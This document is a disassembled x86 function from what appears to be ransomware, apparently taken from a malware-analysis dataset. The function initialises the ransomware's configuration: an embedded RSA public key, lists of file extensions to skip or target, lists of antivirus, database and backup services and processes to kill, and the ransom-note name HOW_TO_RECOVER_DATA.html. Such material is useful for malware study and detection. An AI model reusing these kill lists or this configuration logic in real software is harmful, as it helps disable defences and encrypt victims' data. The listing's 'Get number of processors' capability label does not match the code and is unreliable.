Function at 0x411930
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x470d40
mov eax, dword fs:[0]
push eax
sub esp, 0x94
mov eax, dword [0x49f074]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
push str.BgIAAACkAABSU0ExAAgAAAEAAQDPLQX4uPDV43lYxHjJtw0O14oFYragWcHFeiZOPMyQWm7Aq_c_8jMuUb0zP5jFqFmgSzxjDNVYab6FeiGO7NRJ0xik16HDlKyfOT1D548E6iamwxS1jD9P8A3ebBPKVWSE1xBhnoxa5wQ1kW6t8ReCnHh5LKAhcsi9t_s4L1O9J0X3Qr5lIBVnXm4TmNYaJKs8vR0WhKf9RseqVH1Kde4kuvMA24dLf8ssf03PFZHOnl8ji00wYsZ85pEIPDnJmapxqJ0206vC6utgfz5tiEzuwi7cOcIEfmO2yjZB7OIlywiwSb5cn2HRfzu9PsktkdCnPs3HszaiEFydmw
mov ecx, dword [ebp - 0x10]
call fcn.00408000
push str..L47
lea ecx, [ebp - 0x28]
call fcn.00408000
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x18
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.00411b00
lea ecx, [ebp - 0x28]
call fcn.00407f50
push str..dll_.sys_.ini_.rdp_.encrypted_.exe_.network_.locker_.vaffe_.hellomynameisransom_.maffin_.Malware_.networkmaze_.deadfilesgr_.CRYPT_.DEADFILESSAN_.LOCKGR_..LOCKNOTO_.koronavirus_.PLAGUEINC_.DIADEMINC_.locales_.CRYPTFILES_.bdeadfiles_.Readinstruction_.hightlocal_.lowlocal_.deadfiles_.deadfiles1_.superlocal_.superop_.superop2_.deadfilesnewgr_.abstergo_.abstergobig_.ABSTERGO_..corpumbrella_..corpumbrella2_.hogvarts_.trendmicro_.Readinstruction_.datalock1_.datalock2_.datalock3_.datalock4_.datalock5_.datalock6_.datalock7_.datalock8_.datalock9_.datalock10_.datalock11_.datalock12_.datalock13_.datalock14_.datalock15_.datalock16_.datalock17_.datalock18_.datalock19_.datalock20_.LOCK1_.lockhyp_.LOCK1_.LOCK2_.LOCK3_.LOCK4_.LOCK5_.lockfiles1_.lockfiles2_.lockfiles3_.lockfiles4_.lockfiles5_.lockfiles6_.lockfiles7_.lockfiles8_.lockfiles9_.lockfiles10_.locklock1_.locklock2_.locklock3_.locklock4_.locklock5_.locklock6_.locklock7_.locklock8_.locklock9_.locklock10_.lockdata1_.lockdata2_.lockdata3_.lockdata4_.lockdata5_.lockdata6_.lockdata7_.lockdata8_.lockdata9_.lockdata10_.locks1_.locks2_.locks3_.locks4_.locks5_.lockies_.DLOCK_.DLOCK2_.DLOCK3_.DLOCK4_.DLOCK5_.DLOCK6_.DLOCK7_.DLOCK8_.DLOCK9_.DLOCK10_.locks6_.locks7_.locks8_.locks9_.locks10_.L1_.L2_.L3_.L4_.L5_.L6_.L7_.L8_.L9_.L10_.L11_.L12_.L13_.L14_.L15_.L32_.L33_.L34_.L35_.L36_.L37_.L38_.L39_.L40_.L41_.L42_.Readnet_.L43_.L44_.L45_.L46_.L47_
lea ecx, [ebp - 0x40]
call fcn.00408000
push 0x2c
lea edx, [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x30
push eax
mov ecx, dword [ebp - 0x10]
call fcn.00411d20
lea ecx, [ebp - 0x40]
call fcn.00407f50
push str..sql_.mdf
lea ecx, [ebp - 0x58]
call fcn.00408000
push 0x2c
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x10]
add edx, 0x3c
push edx
mov ecx, dword [ebp - 0x10]
call fcn.00411d20
lea ecx, [ebp - 0x58]
call fcn.00407f50
push str.wrapper_DefWatch_ccEvtMgr_ccSetMgr_SavRoam_sqlservr_sqlagent_sqladhlp_Culserver_RTVscan_sqlbrowser_SQLADHLP_QBIDPService_Intuit.QuickBooks.FCS_QBCFMonitorService_sqlwriter_msmdsrv_tomcat6_zhudongfangyu_SQLADHLP_vmware_usbarbitator64_vmware_converter_dbsrv12_dbeng8
lea ecx, [ebp - 0x70]
call fcn.00408000
push 0x2c
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x48
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.00411d20
lea ecx, [ebp - 0x70]
call fcn.00407f50
push str.wxServer.exe_wxServerView_sqlservr.exe_sqlmangr.exe_RAgui.exe_supervise.exe_Culture.exe_RTVscan.exe_Defwatch.exe_sqlbrowser.exe_winword.exe_QBW32.exe_QBDBMgr.exe_qbupdate.exe_QBCFMonitorService.exe_axlbridge.exe_QBIDPService.exe_httpd.exe_fdlauncher.exe_MsDtSrvr.exe_tomcat6.exe_java.exe_360se.exe_360doctor.exe_wdswfsafe.exe_fdlauncher.exe_fdhost.exe_GDscan.exe_ZhuDongFangYu.exe
lea ecx, [ebp - 0x88]
call fcn.00408000
push 0x2c
lea edx, [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x54
push eax
mov ecx, dword [ebp - 0x10]
call fcn.00411d20
lea ecx, [ebp - 0x88]
call fcn.00407f50
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x60], 0xf
push str.HOW_TO_RECOVER_DATA.html
lea ecx, [ebp - 0xa0]
call fcn.00408000
lea edx, [ebp - 0xa0]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x64
push eax
mov ecx, dword [ebp - 0x10]
call fcn.00411b00
lea ecx, [ebp - 0xa0]
call fcn.00407f50
mov ecx, dword [ebp - 0x10]
add ecx, 0x7c
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.00411f30
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret